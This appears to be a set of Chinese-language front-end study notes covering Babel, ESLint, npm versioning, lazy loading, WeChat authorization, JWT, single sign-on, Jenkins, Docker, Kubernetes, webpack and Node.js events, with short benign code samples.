encodeURIComponent(":/ ?&=#"); // "%3A%2F%20%3F%26%3D%23"
decodeURIComponent("%3A%2F%20%3F%26%3D%23"); // ":/ ?&=#"
中文域名(需要中文转码成ascii码)
构建相关
部署脚本
Babel
参考:babel中文文档(官方)
是一个js编译器,支持代码里写高版本的代码,通过语法转换器支持最新版本的js语法,但babel只转换语法(如箭头函数),若需要支持新的api或全局变量,需要用polyfill。
polyfill和shim很像但又不同,shim的话是引入一个库,将不同的api封装成一种,比如 jQuery 的 $.ajax 封装了 XMLHttpRequest 和 IE 用 ActiveXObject 方式创建 xhr 对象;而polyfill 是 shim 的一种,一个polyfill就是一个用在浏览器API上的shim。我们通常的做法是先检查当前浏览器是否支持某个API,如果不支持的话就加载对应的polyfill.然后新旧浏览器就都可以使用这个API了
babel 是js的编译器,是将下一代js的语法编译成各个平台都兼容的语法格式。官网不同平台上的使用方式,无非是安装babel的核心代码及各种presets,plugin。。。
注意,presets与plugin的关系,其实babel有很多细粒度很小的插件,具体转译那种语法可以按需引入,这样有很强的灵活性。。。但假如有很多语法都需要转化,则需要引入很多,此时babel官方就提供了plugin的合集,也就是presets。
而babel-preset-env
就相当于 es2015 ,es2016 ,es2017 及最新版本。
而stage是将TC39 提案分为以下几个阶段:
- Stage 0 - 稻草人: 只是一个想法,可能是 babel 插件。
- Stage 1 - 提案: 初步尝试。
- Stage 2 - 初稿: 完成初步规范。
- Stage 3 - 候选: 完成规范和浏览器初步实现。
- Stage 4 - 完成: 将被添加到下一年度发布。
stage只是提案,是否最终发布不能确定,只是实验性的语法,而env则是发布的。
同时配置了plugin和presets后,会有一个执行顺序如下:
- Plugin 会运行在 Presets 之前。
- Plugin 会从第一个开始顺序执行。ordering is first to last.
- Preset 的顺序则刚好相反(从最后一个逆序执行)。
总结起来,env
是纳入规范的新语法特性,而stage则是未纳入规范的提案,但有些api的调用并不是什么新的语法,比如Array.isArray这个方法在低版本ie浏览器中,就无法执行,因此还需要polyfill(当然自己写个方法实现也可以)。。。
还要知道babel-polifill
是与普通针对单个polifill是有区别的,它的初衷是模拟(emulate)一整套 ES2015+ 运行时环境,所以它的确会以全局变量的形式 polyfill Map、Set、Promise 之类的类型,也的确会以类似 Array.prototype.includes() 的方式去注入污染原型,这也是官网中提到最适合应用级开发的 polyfill,再次提醒如果你在开发 library 的话,不推荐使用(或者说绝对不要使用)。
babel-polyfill:需要在你自己的代码中手工引入(最好放在 vendor 里),它会以全局变量污染的方式 polyfill 内建类(如 Map、Set、Promise 等),同时也会通过修改 Array、String、Object 等原型的方式添加实例方法(如 Array.prototype.includes()、String.prototype.padStart() 等),内建类的静态方法(如 Array.from() 等)也会被 polyfill。babel-polyfill 适合于开发独立的业务应用,及时全局污染、prototype 被修改也不会受到太大的影响,babel-polyfill 不适合开发第三方类库。
babel-plugin-transform-runtime:需要你在 .babelrc 或 Babel 编译选项中将该插件添加到 plugins 中,插件只会 polyfill 你用到的类或方法,由于采用了沙盒(Sandbox)机制,它不会污染全局变量,同时也不会去修改内建类的原型,带来的坏处是它不会 polyfill 原型上的扩展(例如 Array.prototype.includes() 不会被 polyfill,Array.from() 则会被 polyfill)。插件的方式适合于开发第三方类库,不适合开发需要大量使用 Array 等原型链扩展方法的应用。
Eslint
是js代码检查工具,代码检查是一种静态的分析,常用于寻找有问题的模式或者代码。对于大多数编程语言来说都会有代码检查,一般来说编译程序会内置检查工具。
js是动态的弱类型的语言,开发中容易出错,因为没有编译程序,为了寻找错误需要在代码运行过程中debugger,而eslint可以让程序元在编码的过程中发现问题而不是在执行的过程中。
eslint有自己的默认配置,还可以自定义配置
eslint参考
一般使用eslint都会在package.json里配置脚本,比如
"scripts": {
"dev": "cross-env BABEL_ENV=development webpack-dev-server --inline --progress --config build/webpack.dev.conf.js",
"build:prod": "cross-env NODE_ENV=production env_config=prod node build/build.js",
"build:sit": "cross-env NODE_ENV=production env_config=sit node build/build.js",
"lint": "eslint --ext .js,.vue src",
"test": "npm run lint",
"precommit": "lint-staged",
"svgo": "svgo -f src/icons/svg --config=src/icons/svgo.yml"
},
"lint-staged": {
"src/**/*.{js,vue}": [
"eslint --fix",
"git add"
]
},
上面是摘自vue-element-admin的一段,一般在代码完成开发之后,先执行precommit
,进而会调用eslint的命令,然后根据.eslintrc.js
配置文件检查项目里的错误,如果有配置错误级别代码格式,并检测到,eslint会指出错误信息。。。然后开发再手动修改错误,再次执行precommit
并自动修复了问题(这时候只是将文件添加进了暂存区),后续还需要commit,然后才是push等操作
npm私服
npm私服其实就是npm私人服务器,比如cnpm是淘宝的npm镜像,主要目的是下载包的速度快。。。私服需要定时同步npm上的包,(node里有node-scheduled定时任务的包),多数企业项目比较少且简单,单独做私服的意义不是很大。。。
个人在github上的仓库因为是免费的,没有私有仓库一说,但企业一般是付费的,可以建立自己的私有仓库。
npm发包其实就是将自己的仓库标准化并公开给所有人,然后用户通过npm search就可以找到包(如果没有发包,则需要找到对应的仓库去克隆),这里的npm search在使用淘宝镜像的情况下不太好使。。。
npm包版本命名规则
npm 使用 semver 包进行版本号解析。
1.15.2对应的版本时MAJOR.MINOR.PATCH
:
- 1是marjor version;
- 15是minor version;
- 2是patch version。
MAJOR:这个版本号变化了表示有了一个不可以和上个版本兼容的大更改。 MINOR:这个版本号变化了表示有了增加了新的功能,并且可以向后兼容。 PATCH:这个版本号变化了表示修复了bug,并且可以向后兼容。
因此在工作中,其实保持minor版本即可,这样出现的问题能少些。。。即使后续引入新功能,可以再修改
但你还可能经常看到~,^符号,他们什么意思呢?
波浪符号(~):他会更新到当前minor version(也就是中间的那位数字)中最新的版本。放到我们的例子中就是:body-parser:~1.15.2,这个库会去匹配更新到1.15.x的最新版本,如果出了一个新的版本为1.16.0,则不会自动升级。波浪符号是曾经npm安装时候的默认符号,现在已经变为了插入符号。
插入符号(^):这个符号就显得非常的灵活了,他将会把当前库的版本更新到当前major version(也就是第一位数字)中最新的版本。放到我们的例子中就是:bluebird:^3.3.4,这个库会去匹配3.x.x中最新的版本,但是他不会自动更新到4.0.0。
参考以下(很多规则渗入了人的主观因素,遵循大规律即可):
^1.2.3 := >=1.2.3 <2.0.0
^0.2.3 := >=0.2.3 <0.3.0
^0.0.3 := >=0.0.3 <0.0.4
~1.15.2 := >=1.15.2 <1.16.0
^3.3.4 := >=3.3.4 <4.0.0
性能优化相关
懒加载
参考:懒加载(知乎)
function lazyload () {
var images = document.getElementsByTagName( 'img' );
var len = images.length;
var n = 0; //存储图片加载到的位置,避免每次都从第一张图片开始遍历
return function () {
var seeHeight = document.documentElement.clientHeight;
var scrollTop = document.documentElement.scrollTop || document.body.scrollTop;
for ( var i = n; i < len; i++ ) {
if ( images[ i ].offsetTop < seeHeight + scrollTop ) {
if ( images[ i ].getAttribute( 'src' ) === 'images/loading.gif' ) {
images[ i ].src = images[ i ].getAttribute( 'data-src' );
}
n = n + 1;
}
}
}
}
var loadImages = lazyload();
loadImages(); //初始化首页的页面图片
// 需要节流
window.addEventListener( 'scroll', loadImages, false );
预加载
其实就等到页面加载完资源以后,再去请求接口获取图片数据,如下:
var images = new Array()
function preload () {
for ( i = 0; i & lt; preload.arguments.length; i++) {
images[ i ] = new Image()
images[ i ].src = preload.arguments[ i ]
}
}
preload(
"http://qiniu.cllgeek.com/react02.png",
"http://qiniu.cllgeek.com/react03.png",
"http://qiniu.cllgeek.com/react04.png"
)
前端优化性能清单
参考:前端优化性能清单
vue性能优化
参考:vue性能优化、vue3.0优化(尤大)
css性能优化
参考:css性能优化的8个技巧
IDE相关
node.js事件循环,$nextTick的原理(如何找到dom),依赖收集过程,tab页面间通信(postmessage),diff算法具体实现过程,node.js的前端js模板(ejs,pug),数组去重,数组方法及每个作用,项目优化点,Promise实现原理(构造函数自执行),async与await
微信相关
微信网页授权流程:
- 用户同意授权(两种授权方式),前端从微信服务器获取code码
- 前端将code发送给公司后台,公司后台拿着code和服务号的appid及appSecret去微信服务器请求
- 微信服务器给后台返回用户信息、access_token、refresh_token等。后台可以拿着access_token去调用其他接口
- 后台再将用户信息返回给前端。
注意:小程序的授权流程和上边差不多,只是微信服务器返回的是openid,session_key,unionid
(一定条件下返回)。session_key
是微信给公司后台颁发的身份凭证,然后公司后台就可以用它请求微信的其他的一些接口。因此,session_key
不应该泄露或给小程序前端。
获取用户的openId后,公司后台就可以将一些用户信息与此绑定,并生成一个sessionId
,然后就可以发送给前端,前端后续的请求都会携带这个sessionId
,然后服务端就可以根据sessionId
查询到当前登录用户的身份。还可以将sessionId
缓存到本地,以便在还没过期的时候重复利用,以提高通信的性能。
两种授权模式:
- 静默授权,获取用户的openid
- 提示授权,获取用户的基本信息
微信网页授权是通过OAuth2.0机制实现的,在用户授权给公众号后,公众号可以获取到一个网页授权特有的接口调用凭证(网页授权access_token),通过网页授权access_token可以进行授权后接口调用,如获取用户基本信息;
微信JS-SDK:
- JS-SDK是javascript software development kit,即js软件开发工具包,是能够让开发者开发出应用程序的软件包,一般sdk包括一个或多个api,开发工具集合说明文档等。
- 通过使用微信JS-SDK,网页开发者可借助微信高效地使用拍照、选图、语音、位置等手机系统的能力,同时可以直接使用微信分享、扫一扫、卡券、支付等微信特有的能力,为微信用户提供更优质的网页体验。
- 这里前端主要用了微信分享接口,
调用过程::
jsapi_ticket是调用微信js接口需要临时票据(当然这些工作都是后端做的)
- 获取access_token(参考网页授权流程)
- 公司后台拿着access_token去获取jsapi_ticket
- 前端拿着当前页面的地址信息请求后台获取签名
- 后台获取到前端发送的地址信息,进而生成签名返回给前端
- 前端拿到签名,通过wx.config()接口注入权限验证配置
- 配置通过后,调用wx.ready(function(){})执行分享操作
微信开发者工具
通过模拟微信客户端的表现,使得开发者可以使用这个工具方便地在pc或mac上进行开发和调试工作。
- 可以使用自己的微信号来调试微信网页授权
- 调试,检验页面的js-sdk相关功能与权限,模拟大部分sdk的输入与输出
- 使用weinre的移动调试功能,支持x5 Blink内核的远程调试
- 利用集成的chrome DevTools协助开发
工程化
待整理:gps实时地图展示,流程可视化,合同模板,功能分离,常见问题解决。。。前端组件化,新兴技术如pwa,前端鉴权问题(jwt),
前端工程化
参考:前端工程化(知乎)、我对前端工程化的理解(掘金)、大公司里怎样开发和部署前端代码(知乎张云龙)
几年之前,前端还是一个无足轻重的职位,日常工作无非切切图,使用jq写简单的脚本,从某种意义上,只是后端的附属物。。。但近几年,尤其Node.js出现以后,前端的规模越来越大,已经上升到工程学的层面,如何提高前端开发效率变得越来越重要,这就是前端工程化所要解决的问题。。。
前端工程化是使用软件工程的技术和方法来进行前端项目的开发、维护和管理。
前端工程化是根据业务特点,将前端开发流程规范化,标准化,它包括了开发流程,技术选型,代码规范,构建发布等,用于提升前端工程师的开发效率和代码质量。
前端工程化可以从模块化、组件化、规范化、自动化四个方面来思考
1、模块化
模块化就是将一个大文件拆分成相互依赖的小文件,再进行统一的拼装和加载,但模块化又可以再细分为js,css,资源等
js模块化,在es6之前,社区有CommonJS、AMD和CMD等模块加载方案。。。到es6已经在语言层面规定了模块系统,完全可以取代之前的模块加载规范,使用起来简单同时还有静态加载的特性。
css模块化,虽然SASS、LESS、Stylus等预处理器实现了CSS的文件拆分,但没有解决CSS模块化的一个重要问题:选择器的全局污染问题。因此不同公司制定不同的CSS命名风格,但与其费尽心思地告诉别人要遵守某种规则,以规避某种痛苦,倒不如从工具层面就消灭这种痛苦。
所以从工具层面,社区又创造出Shadow DOM、CSS in JS和CSS Modules三种解决方案。
资源模块化,Webpack的强大之处不仅仅在于它统一了JS的各种模块系统,取代了Browserify、RequireJS、SeaJS的工作。更重要的是它的万能模块加载理念,即所有的资源都可以且也应该模块化。
资源模块化后,有三个好处:
- 依赖关系单一化。所有CSS和图片等资源的依赖关系统一走JS路线,无需额外处理CSS预处理器的依赖关系,也不需处理代码迁移时的图片合并、字体图片等路径问题;
- 资源处理集成化。现在可以用loader对各种资源做各种事情,比如复杂的vue-loader等等。
- 项目结构清晰化。使用Webpack后,你的项目结构总可以表示成这样的函数:
dest = webpack(src, config)
2、组件化
首先,组件化≠模块化。好多人对这两个概念有些混淆。
模块化只是在文件层面上,对代码或资源的拆分;而组件化是在设计层面上,对UI(用户界面)的拆分。从UI拆分下来的每个包含模板(HTML)+样式(CSS)+逻辑(JS)功能完备的结构单元,我们称之为组件。
3、规范化
模块化和组件化确定了开发模型,而这些东西的实现就需要规范去落实。比如:
- 目录结构的制定
- 编码规范
- 前后端接口规范
- 文档规范
- 组件管理
- Git分支管理
- Commit描述规范
- 定期CodeReview
- 视觉图标规范
4、自动化
持续集成、自动化构建、自动化部署、自动化测试
前端组件化
有时候我们经常将一个组件的所有资源放在一个文件夹,有的将相同的资源放在一个文件夹。。。其实前者没有做到JS模块化和资源模块化,仅仅物理位置上的模块划分是没有意义的,只会增加构建的成本而已。。。
https://juejin.im/entry/59f84b9d5188253bd85cad9b
http://www.alloyteam.com/2015/11/we-will-be-componentized-web-long-text/
https://www.jianshu.com/p/b304614005d4
https://tech.meituan.com/2015/07/10/frontend-component-practice.html
https://leeluolee.github.io/fequan-netease/
JSON Web tokens 参考:跨域认证解决方案JWT(阮一峰)
即JWT是目前最流行的跨域认证解决方案,互联网服务离不开用户认证,一般流程如下:
- 用户向服务器发送用户名和密码
- 服务器验证通过后,在当前对话(session)里面保存相关数据,比如用户角色,登录时间等
- 服务器向用户返回一个session_id,写入用户的Cookie
- 用户随后的每次请求,都会通过Cookie,将session_id传回服务器
- 服务器收到session_id,找到之前保存的数据,由此得知用户的身份
这种模式单机还好,如果是服务器集群或跨域的服务导向架构,就要求session数据共享,每台服务器都能够读取session。。。
注意:session一般指服务器端,但也可以理解为服务器与客户端的会话阶段。而sessionId是服务器生成的认证凭证,客户端在cookie里保存sessionId
比如a,b网站是同一家公司的服务,现在如何实现登录了a后,b就自动登录了呢?
一种方案是session数据持久化,写入数据库或别的持久层。各种服务收到请求后都向持久层请求数据。优点是架构清晰,但工程量大,另外如果持久层挂了,就会单点失败。
另一种方案是服务器索性不保存session数据了,所有数据都保存在客户端,每次请求都将session发回服务器,JWT就是这种方案的一个代表。
JWT的数据结构
由三部分组成:
- Header 描述JWT的元数据,比如注明签名算法及令牌类型
{ "alg": "HS256", "typ": "JWT" }
- Payload 用来存放实际需要传递的数据,还可以自定义字段
{ "sub": "1234567890", "name": "John Doe", "admin": true }
注意:JWT默认是不加密的,任何人都可以读到,所以不要把秘密信息放在这个部分。SHA256只是安全散列算法,是不可逆的,也并不是什么加密算法。。。
还要知道,我们平时说的散列函数,hash算法等其实可以理解为一个意思。将任意长度的二级制值串映射为固定长度的二进制值串,这个映射的规则就是hash算法。通过原始数据映射之后得到的二进制串就是hash值。(从hash值不能反向推到出原始数据,所以也叫单向hash算法)
比如常用的md5的hash值是128位的bit长度(意味着不管处理多长的数据,返回的长度都是统一的),为了方便我们可以转为16进制编码
// 可以发现即使差一个字符,结果就相差甚远
MD5(" 我今天讲哈希算法!") = 425f0d5a917188d2c3c3dc85b5e4f2cb
MD5(" 我今天讲哈希算法 ") = a1fb91ac128e6aa37fe42c663971ac3d
- Signature 部分是对前两部分的签名,防止数据篡改
首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
算出签名后,把三部分通过.号分隔连起来,就可以返回给用户。
注意:Base64URL算法和Base64算法类似,但有些不同,因为JWT作为一个令牌(token),有些场合可能会放到URL里,Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略,+替换成-,/替换成_ 。这就是 Base64URL 算法。
JWT的使用方式
客户端收到服务器返回的 JWT,可以储存在 Cookie 里面,也可以储存在 localStorage。
此后,客户端每次与服务器通信,都要带上这个 JWT。你可以把它放在 Cookie 里面自动发送,但是这样不能跨域,所以更好的做法是放在HTTP 请求的头信息Authorization字段里面。
Authorization: Bearer <token>
另一种做法是,跨域的时候,JWT 就放在 POST 请求的数据体里面。
JWT的几个特点
- JWT 默认是不加密,但也是可以加密的。生成原始 Token 以后,可以用密钥再加密一次。
- JWT 不加密的情况下,不能将秘密数据写入 JWT。
- JWT 不仅可以用于认证,也可以用于交换信息。有效使用 JWT,可以降低服务器查询数据库的次数。
- JWT 的最大缺点是,由于服务器不保存 session 状态,因此无法在使用过程中废止某个 token,或者更改 token 的权限。也就是说,一旦 JWT 签发了,在到期之前就会始终有效,除非服务器部署额外的逻辑。
- JWT 本身包含了认证信息,一旦泄露,任何人都可以获得该令牌的所有权限。为了减少盗用,JWT 的有效期应该设置得比较短。对于一些比较重要的权限,使用时应该再次对用户进行认证。
- 为了减少盗用,JWT 不应该使用 HTTP 协议明码传输,要使用 HTTPS 协议传输。
session与token
单点登录
参考:一篇就懂单点登录(腾讯云)
单点登录即Single Sing On,简称SSO,也就是在多个系统中,只需要的登录一次,就可以访问其他相互信任的应用系统
在说单点登录的实现之前,可以再看看普通的登录认证机制(JWT原理来源)
比如一个企业一般有一个一级域名(a.com),其他系统都是二级域名,如app1.a.com,app2.a.com,再有一个单点登录系统sso.a.com。。。
通过上面的理论,我们知道,如果在sso.a.com中登录了,其实是在sso.a.com的服务端的session中记录了登录状态,同时在浏览器端(Browser)的sso.a.com下写入了Cookie。那么我们怎么才能让app1.a.com和app2.a.com登录呢?这里有两个问题:
- Cookie是不能跨域的,我们Cookie的domain属性是sso.a.com,在给app1.a.com和app2.a.com发送请求是带不上的。
- sso、app1和app2是不同的应用,它们的session存在自己的应用内,是不共享的。
针对第一个问题,我们可以在sso登录以后,将Cookie的域设置成顶域,即a.com,这样所有子域的系统都可以访问到顶域的Cookie了。如下可设置
document.cookie='name=test;path=/;domain=.a.com'
Cookie的问题解决了,我们再来看看session的问题。我们在sso系统登录了,这时再访问app1,Cookie也带到了app1的服务端(Server),app1的服务端怎么找到这个Cookie对应的Session呢?这里就要把3个系统的Session共享,比如Spring-Session方法
but…但上面都不是真正的单点登录
不同域下的单点登录
同域下的单点登录是巧用了Cookie顶域的特性。如果是不同域呢?不同域之间Cookie是不共享的,怎么办?也就该CAS出场了。。。
具体流程如下:
- 用户访问app系统,app系统是需要登录的,但用户现在没有登录。
- 跳转到CAS server,即SSO登录系统,以后图中的CAS Server我们统一叫做SSO系统。 SSO系统也没有登录,弹出用户登录页。
- 用户填写用户名、密码,SSO系统进行认证后,将登录状态写入SSO的session,浏览器(Browser)中写入SSO域下的Cookie。
- SSO系统登录完成后会生成一个ST(Service Ticket),然后跳转到app系统,同时将ST作为参数传递给app系统。
- app系统拿到ST后,从后台向SSO发送请求,验证ST是否有效。
- 验证通过后,app系统将登录状态写入session并设置app域下的Cookie。
至此,跨域单点登录就完成了。以后我们再访问app系统时,app就是登录的。接下来,我们再看看访问app2系统时的流程。
- 用户访问app2系统,app2系统没有登录,跳转到SSO。
- 由于SSO已经登录了,不需要重新登录认证。
- SSO生成ST,浏览器跳转到app2系统,并将ST作为参数传递给app2。
- app2拿到ST,后台访问SSO,验证ST是否有效。
- 验证成功后,app2将登录状态写入session,并在app2域下写入Cookie。
这样,app2系统不需要走登录流程,就已经是登录了。SSO,app和app2在不同的域,它们之间的session不共享也是没问题的。
有的人可能会问,SSO系统登录后,跳回原业务系统时,带了个参数ST,业务系统还要拿ST再次访问SSO进行验证,觉得这个步骤有点多余。他想SSO登录认证通过后,通过回调地址将用户信息返回给原业务系统,原业务系统直接设置登录状态,这样流程简单,也完成了登录,不是很好吗?
其实这样问题时很严重的,如果我在SSO没有登录,而是直接在浏览器中敲入回调的地址,并带上伪造的用户信息,是不是业务系统也认为登录了呢?这是很可怕的。
Jenkins
在项目的早期,测试环境需要通过jenkins来部署,而线上环境需要将项目生成的dist目录发送给运维手动上线。
在说jenkins时,需要先说说持续集成,持续集成指的是,频繁的(一天多次)将代码集成到主干,它主要好处如下:
- 快速发现错误。每完成一点更新,就集成到主干,可以快速发现错误,定位错误也比较容易
- 防止分支大幅偏离主分支。如果不是经常集成,主干又在不断更新,会导致以后集成的难度变大,甚至难以集成 持续集成的目的,就是让产品可以快速迭代,同时还能保持高质量。持续集成不能消除bug,而是让他们非常容易发现和改正
持续集成又分持续交互和持续部署 持续交互:指的是频繁的将软件的新版本交付给代码质量团队评审。评审通过就手动部署到测试或生产环境 持续部署:指的是将评审合格的代码,自动部署到测试或生产环境。
流程:
- 开发提交代码至仓库
- 仓库对commit操作配置了钩子(hook),只要有新代码提交,就会触发hook
- 然后就会触发jenkins的自动构建,也就是通过配置的脚本,拉取最新代码,安装依赖,配置各种资源,启动服务等。而这里的构建工具就是jenkins
- jenkins是图形化界面配置,可以自动构建,还可以手动构建。
jenkins支持构建,部署,自动化
Iaas,Paas,Saas
越来越多的软件,开始采用云服务,但云服务只是一个统称,可以分为三大类:
- Iaas基础设施服务(Infrastructure as a service)
- Paas平台服务(Platform as a service)
- Saas软件服务(Software as a service)
Saas是软件的开发、管理、部署都交给第三方,不需要关心技术问题,可以直接拿来用。普通用户接触到的互联网服务几乎都是Saas;
Paas提供软件部署平台(runtime),抽象掉了硬件和操作系统细节,可以无缝地扩展。开发者只需要关注自己的业务逻辑,不需要关注底层。
Iaas是云服务的最底层,主要提供一些基础资源,他与Paas的区别是,用户需要自己控制底层,实现基础设施的使用逻辑。
打个通俗的比方:如果你是网站站长,想建立一个网站。不采用云服务,则你需要:买服务器,安装服务器软件,编写网站程序。。。
若采用Iaas服务,则不需要购买服务器
若采用Paas服务,则不需要购买服务器,也不需要安装服务器软件
若采用Saas服务,则什么都不需要购买或安装,只需要专心负责运营即可
docker容器
软件开发的难点就是环境配置,同样的代码在不同的计算机上会表现出不同的状态。 用户必须保证两件事:
- 操作系统的设置
- 各种库和组件的安装
虚拟机可以解决这些问题,虚拟机相当于在一个操作系统里运行另外一个操作系统,虽可还原软件的原始环境,但有以下缺点:
- 资源占用多(会独占部分内存和硬盘空间)
- 冗余步骤多(一些系统级别的操作步骤,无法跳过,如用户登录)
- 启动慢(启动操作系统比较慢)
由于虚拟机的缺点,linux发展了另外一种虚拟化技术,linux容器(linux containers 缩写LXC)。linux容器不是模拟一个完整的操作系统,而是对进程进行隔离。或者说,在正常进程的外面套了一个保护层。对于容器里面的进程来说,它接触到的各种资源都是虚拟的,从而实现与底层系统的隔离。
注意:linux系统的containers(容器)其实并不真实存在,大家常说的容器其实依托于linux的两个特性(命名空间和cgroups)而运行的正常的系统进程。
制作docker镜像??
进程与线程::
- 一个程序至少有一个进程,一个进程至少有一个线程
- 线程的划分尺度小于进程,使得多线程程序的并发性高
- 另外,进程在执行过程中拥有独立的内存单元,而多个线程共享内存,从而极大地提高了程序的运行效率
- 线程在执行过程中与进程还是有区别的。每个独立的线程有一个程序运行的入口、顺序执行序列和程序的出口。但是线程不能够独立执行,必须依存在应用程序中,由应用程序提供多个线程执行控制
- 从逻辑角度来看,多线程的意义在于一个应用程序中,有多个执行部分可以同时执行。但操作系统并没有将多个线程看做多个独立的应用,来实现进程的调度和管理以及资源分配。这就是进程和线程的重要区别
容器优势:
- 启动快(容器里的应用,直接是底层操作系统的一个进程)
- 资源占用少(容器只占用需要的资源,而且多个容器还可以共享资源)
- 体积小(容器只包含用到的组件,而虚拟机是整个操作系统的打包)
而docker属于linux容器的一种封装,提供简单易用的容器使用接口,docker本身不是容器,而是创建容器的工具。docker将应用程序与该程序的依赖,打包到一个文件里,运行这个文件,就会生成一个虚拟容器,应用在虚拟容器里运行,就好像在真实的物理机上运行一样。
既然是docker是linux容器的一种封装,那windows系统怎么办呢?答案是docker与windows合作推出了windows版本的docker
k8s(kubernetes)
参考:k8s与docker、十分钟看懂k8s与docker
在使用docker运行容器时会为每个容器创建命名空间和cgroups,所以docker和容器一一对应,容器本质上是独立的仓库,如果容器需要与外界或相互之间通信,容器就需要存储卷或将端口映射到宿主机。另外如果同时存在很多个容器的话,如何编排,管理和调度就成了问题,因此k8s就是一套基于容器的集群管理平台。
K8s集群主要包括:
- 一个master节点(主节点 ,负责管理和控制)
- 一群node节点(计算节点,工作负载节点,里面是具体的容器)
服务器相关
express.js与hapi.js
- 都是为在node(node很适合做前后端之间的中间层)环境中构建 HTTP 服务器提供方便的 API。 也就是说,比单独使用较低级别的原生 http 模块更方便。 Http 模块可以做任何我们想做的事情,但是用它来编写应用程序是很乏味的。
- 他们都使用了高级web框架中已有的功能:路由,插件,认证模块,处理函数等(比如:当比配到一个页面的路由时,会有对应的处理函数进行处理)
- express是非常小的,只是在http模块上提供一个很小的api,多数功能都可以通过额外的中间件来实现(中间件类似过滤器,在请求到达处理程序之前通过他们处理)。而hapi.js具有丰富的特性集,通常通过配置选项,而不需要编写代码。具体的差异可以对比二者的api文档
- hapi具有请求生命周期并提供扩展点,与中间件类似,但在生命周期中存在多个已定义的点
- 沃尔玛创建了hapi并停止express的原因之一,是因为很难将一个express应用拆分成单独的部分,让不同的团队成员安全的工作。
- 一个插件就像一个子应用程序,你可以做任何可以在hapi.js应用程序里的操作,比如添加路由,扩展等。在一个插件系统里,你可以确定你没有破坏应用的其他部分,因为注册的顺序并不重要,你不能创建冲突的路线,你可以将这些插件组合到一个服务器中并进行部署。
- 因为express只能提供很少的开箱即用功能,所以当你需要向项目中添加任何内容时,需要考虑外部因素。很多时候在使用hapi时,你需要的特性要么是内置的,要么是由核心团队创建的模块。
- 极简主义虽然听起来不错,但如果你正在构建一个严谨的生产应用程序,hapi.js内置的很多东西或许是你需要的。hapi.js是由沃尔玛团队设计,并主要用于黑色星期五的交通,因此安全性和稳定性备受关注。也因此框架做了很多额外的事情,比如限制传入有效负载的大小,以防止耗尽进程内存。它还有一些选项,如最大事件循环延迟,最大rss内存使用和最大v8堆带下,超过这个时间,你的服务器将响应503超时,而不是崩溃。
nodemon(检测目录中的文件改动并自动重新启动应用程序)
- 代码html修改后,webpack不自动编译,需要重启服务并刷新页面。页面不会自动更新(需要重启服务并刷新页面)
- 修改js和css文件,webpack自动编译,不要重启服务,只需要刷新页面就好。
Webpack
该工具是打包工具,自动分拣js,css,html到不同的文件内,并通过生成的manifest或runtime来自动加载每个页面对应的资源文件。
- Cache-loader 默认为vue/babel/typescript编译开启,缓存在node_modules/.cache,编译出现问题时,删掉此目录
- Thread-loader 多核cpu的机器上为babel/typescript转译开启
- .browserslistrc文件 指定目标浏览器的范围 会被@babel/preset-env和postcss使用
exclude/include路径
与**/意义不同,
- *指resource路径下,并不包含resource子文件夹下的文件
- */指resource路径及其子路径下所有文件。
package.json字段解析
package.json字段解析(阮一峰)
npm官方文档
npm中script字段解析(官方)
- main:模块的入口文件,一个包可以理解为一个模块,然后其他用户安装这个包或许就会用
require('foo')
,这时main字段就会执行字段的value值并返回结果,挂载在module.exports上 - scripts:程序生命周期内的脚本命令(有些预置命令如preinstall,postinstall,其实就是在npm install之前或之后会执行的操作)
- bin:很多软件包都有一个或多个可执行文件,这些执行文件想把模块的命令安装到环境变量PATH中,从而可以直接使用包里的命令,其实可以理解为alias,alias是程序的别名,当使用别名时其实底层调用的就是程序真实的路径。然后bin字段里定义的字段,就可以直接在scripts里使用,相当于使用alias
node模块解析算法
解析路径分为相对和非相对,相对的是以/,./或../开头,而所有其他形式都为非相对导入。。。
例如,假设有一个文件路径为 /root/src/moduleA.js,包含了一个导入var x = require(“./moduleB”)。Node.js的解析过程为:
- 检查/root/src/moduleB.js文件是否存在。
- 检查/root/src/moduleB目录是否包含一个package.json文件,且package.json文件指定了一个”main”模块。 在我们的例子里,如果Node.js发现文件 /root/src/moduleB/package.json包含了{ “main”: “lib/mainModule.js” },
- 检查/root/src/moduleB目录是否包含一个index.js文件。 这个文件会被隐式地当作那个文件夹下的”main”模块。
假设/root/src/moduleA.js里使用的是非相对路径导入var x = require(“moduleB”);。 Node则会以下面的顺序去解析 moduleB,直到有一个匹配上:
- /root/src/node_modules/moduleB.js
- /root/src/node_modules/moduleB/package.json (如果指定了”main”属性)
-
/root/src/node_modules/moduleB/index.js
- /root/node_modules/moduleB.js
- /root/node_modules/moduleB/package.json (如果指定了”main”属性)
-
/root/node_modules/moduleB/index.js
- /node_modules/moduleB.js
- /node_modules/moduleB/package.json (如果指定了”main”属性)
- /node_modules/moduleB/index.js
typescript模块解析规则与node相似,只是每次检查都会检查.ts,.tsx,.d.ts后缀的文件。
vue-cli的原理
其实vue-cli是封装了一下webpack,在目前公司的脚手架就和vue没有任何关系。。。webpack本身有dev-server等(公司里用的是node+express)。。。其实可以这样理解,vue-cli调用webpack的一些接口实现一些基本配置,然后再通过命令行提示用户是否安装扩展功能,安装完以后,如果用户想再自定义配置,可以通过修改配置文件(如:vue.config.js),然后vue-cli内部会对这些配置文件进行merge处理,最终达到用户自定义配置的效果。
公司的脚手架虽然有ffe工具,但是这个工具做的工作无非是将做好的模板放在gitlab上,通过ffe工具把这些模板拉下来而已,这个模板是已经配置好了(所谓配置好了,就是各种babel,loader,plugin等都配置好了),下载完只需要安装依赖,启动服务即可。。。
Node.js
Node.js 所有的异步 I/O 操作在完成时都会发送一个事件到事件队列。
Node.js所有的异步I/O操作在完成时都会发送一个事件到事件队列。Node.jss里面的许多对象都会分发事件:一个net.Server对象会在每次有新连接时触发一个事件,一个fs.readStream对象会在文件被打开时触发一个事件,所有这些产生事件的对象都是events.EventEmitter的实例
events模块只提供一个对象events.EventEmitter,EventEmitter的核心就是事件触发与事件监听器功能的封装
var EventEmitter = require('events').EventEmitter
var event = new EventEmitter()
// event.on('some_event',() => {
// console.log('some_event 触发了')
// })
// 还可以这样
event.addListener('some_event',() => {
console.log('some_event 触发了')
})
setTimeout(()=>{
event.emit('some_event')
},3000)
// 移除事件
// event.removeListener('some_event',callback)
数据库相关
